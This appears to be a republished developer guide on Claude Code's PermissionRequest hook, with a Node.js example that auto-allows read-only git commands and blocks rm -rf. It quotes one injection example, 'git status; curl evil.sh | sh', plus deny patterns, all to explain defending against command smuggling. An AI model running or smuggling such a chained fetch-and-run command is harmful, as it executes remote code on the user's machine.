{"slug": "claude-code-permissionrequest-hooks-answer-allow-this-from-your-own-code", "title": "Claude Code PermissionRequest hooks: answer \"Allow this?\" from your own code", "summary": "A developer documented how to use Claude Code's PermissionRequest hook to answer permission prompts programmatically, publishing a working Node.js example that auto-allows read-only git commands, denies rm -rf, and otherwise stays silent so the normal prompt decides. The guide details the JSON payload Claude Code sends on stdin, the allow/deny/always-allow response format, and how the same hook handles AskUserQuestion multiple-choice prompts. The developer stresses that the hook should print nothing when in doubt, and that read-only git checks must also reject shell metacharacters like ; & | $ and backticks to block injection.", "body_md": "Every Claude Code user knows the moment: Claude has done ten minutes of good work, then stops on\n\n**Allow this?** `npm test`\n\nand waits. Most hook guides cover `PreToolUse`, `PostToolUse` and `Stop`. The hook that runs *at that exact moment* is `PermissionRequest`, and it can answer the prompt for you, or hand it to anything you like: a script, a chat bot, a window, your phone.\n\nThis guide covers what Claude Code sends to the hook, what the hook can send back, a small working example, how Claude's multiple-choice questions (AskUserQuestion) use the same hook, and the mistakes I made building a real tool on it.\n\n`PermissionRequest` fires when Claude Code is about to show a permission prompt. If you already allowed a command in your settings, there is no prompt and no hook. That makes it different from `PreToolUse`, which runs before *every* tool call: `PermissionRequest` only runs when a human would otherwise have to decide.\n\nTwo things make it useful:\n\n`timeout` (in seconds) can be long. A hook that waits for a tap on a phone for ten minutes is fine.\nThe hook gets one JSON object on stdin. The fields you will use:\n\n```\n{\n  \"hook_event_name\": \"PermissionRequest\",\n  \"session_id\": \"4f1c...\",\n  \"cwd\": \"/home/me/project\",\n  \"tool_name\": \"Bash\",\n  \"tool_input\": { \"command\": \"npm test\", \"description\": \"Run the tests\" },\n  \"permission_suggestions\": [ { \"type\": \"addRules\", \"...\": \"...\" } ]\n}\n```\n\n`tool_input` depends on the tool: `command` for Bash/PowerShell, `file_path` for Write/Edit, `url` for WebFetch, `query` for WebSearch. `permission_suggestions` holds what Claude Code would save if you picked \"Always allow\".\n\nPrint one JSON object to stdout:\n\n```\n{ \"hookSpecificOutput\": { \"hookEventName\": \"PermissionRequest\",\n  \"decision\": { \"behavior\": \"allow\" } } }\n```\n\n`{ \"behavior\": \"allow\" }` is the same as clicking Allow.`{ \"behavior\": \"allow\", \"updatedPermissions\": <permission_suggestions> }` is \"Always allow\": pass back the suggestions you were given.`{ \"behavior\": \"deny\", \"message\": \"Not on main, please\" }` refuses, and Claude reads your message.\nThat last point is the most important design rule: **when in doubt, print nothing.**\n\nThis hook allows read-only git commands, refuses `rm -rf`, and leaves everything else to you. Save it as `~/.claude/hooks/permission.js`:\n\n```\n// PermissionRequest hook: allow read-only git, deny rm -rf, stay quiet otherwise.\nlet raw = '';\nprocess.stdin.on('data', (c) => (raw += c));\nprocess.stdin.on('end', () => {\n  let call;\n  try { call = JSON.parse(raw); } catch { return; } // bad input: no opinion\n  if (call.tool_name !== 'Bash') return;\n  const cmd = String((call.tool_input || {}).command || '').trim();\n\n  const reply = (decision) => process.stdout.write(JSON.stringify({\n    hookSpecificOutput: { hookEventName: 'PermissionRequest', decision },\n  }));\n\n  if (/^git (status|log|diff|show|branch)\\b/.test(cmd) && !/[;&|`$]/.test(cmd)) {\n    return reply({ behavior: 'allow' });\n  }\n  if (/\\brm\\s+-[a-z]*r[a-z]*f|\\brm\\s+-[a-z]*f[a-z]*r/i.test(cmd)) {\n    return reply({ behavior: 'deny', message: 'rm -rf is blocked by my hook. Delete files one by one, or ask me.' });\n  }\n  // anything else: print nothing, the normal prompt decides\n});\n```\n\nThen register it in `~/.claude/settings.json`:\n\n```\n{\n  \"hooks\": {\n    \"PermissionRequest\": [\n      { \"matcher\": \"*\",\n        \"hooks\": [{ \"type\": \"command\", \"command\": \"node ~/.claude/hooks/permission.js\", \"timeout\": 30 }] }\n    ]\n  }\n}\n```\n\nThe check for `; & | $` and backticks matters: without it `git status; curl evil.sh | sh` would pass as \"read-only git\".\n\nWhen Claude asks a multiple-choice question (the `AskUserQuestion` tool), Claude Code asks permission to show it, so `PermissionRequest` fires with `tool_name: \"AskUserQuestion\"` and the questions in `tool_input.questions`. The hook can answer the question itself by allowing the tool with the answers filled in:\n\n```\n{ \"hookSpecificOutput\": { \"hookEventName\": \"PermissionRequest\",\n  \"decision\": { \"behavior\": \"allow\",\n    \"updatedInput\": { \"questions\": [ ... ], \"answers\": { \"Which database?\": \"SQLite\" } } } } }\n```\n\nGive a separate matcher (`\"AskUserQuestion\"`) its own script if you want different handling for questions and for commands.\n\nI built [Mirror for Claude](https://github.com/viswa-jagadeesan-personal/mirror-for-claude) on these hooks: it shows every Claude Code chat live and lets you answer \"Allow this?\" and Claude's questions from a mini window, a browser, a terminal or a phone. These are the things that cost me the most time:\n\n`PreToolUse` hook that waits for an answer runs `PermissionRequest` the prompt shows in VS Code and in your other place at the same time.`.jsonl` file under `~/.claude/projects/`) for the tool result and exit quietly when it appears, or the phone keeps showing a request that is already gone.`git` or `node` from a detached process without `windowsHide: true` flashes a console window on every message.`;`, `&&`, a pipe or `$( )`. Decide on the whole string.\nStart with the 20-line example above: it already saves you the read-only git prompts. If you want the whole thing (every chat live, Allow / Always allow / Deny and question answers from a window, browser, terminal or phone, finish alerts and a usage bar), Mirror for Claude is free for personal use and runs on plain Node with no dependencies:\n\n```\n/plugin marketplace add viswa-jagadeesan-personal/mirror-for-claude\n/plugin install mirror-for-claude@mirror-for-claude\n```\n\nor the zip from the [website](https://viswa-jagadeesan-personal.github.io/mirror-for-claude/). It's in beta and not affiliated with Anthropic, so bug reports are very welcome.", "url": "https://wpnews.pro/news/claude-code-permissionrequest-hooks-answer-allow-this-from-your-own-code", "canonical_source": "https://dev.to/viswa_jagadeesan_cdcc69d3/claude-code-permissionrequest-hooks-answer-allow-this-from-your-own-code-31ag", "published_at": "2026-12-06 15:13:08+00:00", "updated_at": "2026-12-06 15:14:57.337750+00:00", "lang": "en", "topics": ["ai-agents", "developer-tools", "ai-tools", "ai-safety"], "entities": ["Claude Code", "Anthropic", "Node.js"], "also_reported_by": [], "takeaway": "A PermissionRequest hook can auto-allow read-only git commands and deny rm -rf by printing a JSON decision, but it must print nothing when unsure and must reject shell metacharacters (; & | $ and backticks) so commands like 'git status; curl evil.sh | sh' don't pass as read-only git.", "recommendation": {"advice": "Gate Claude Code's permission prompts with a PermissionRequest hook that allows only vetted patterns, denies destructive commands, and prints nothing otherwise; also reject shell metacharacters to block injection.", "playbook": "agent-security", "playbook_url": "https://wpnews.pro/playbooks/agent-security"}, "alternates": {"html": "https://wpnews.pro/news/claude-code-permissionrequest-hooks-answer-allow-this-from-your-own-code", "markdown": "https://wpnews.pro/news/claude-code-permissionrequest-hooks-answer-allow-this-from-your-own-code.md", "text": "https://wpnews.pro/news/claude-code-permissionrequest-hooks-answer-allow-this-from-your-own-code.txt", "jsonld": "https://wpnews.pro/news/claude-code-permissionrequest-hooks-answer-allow-this-from-your-own-code.jsonld"}}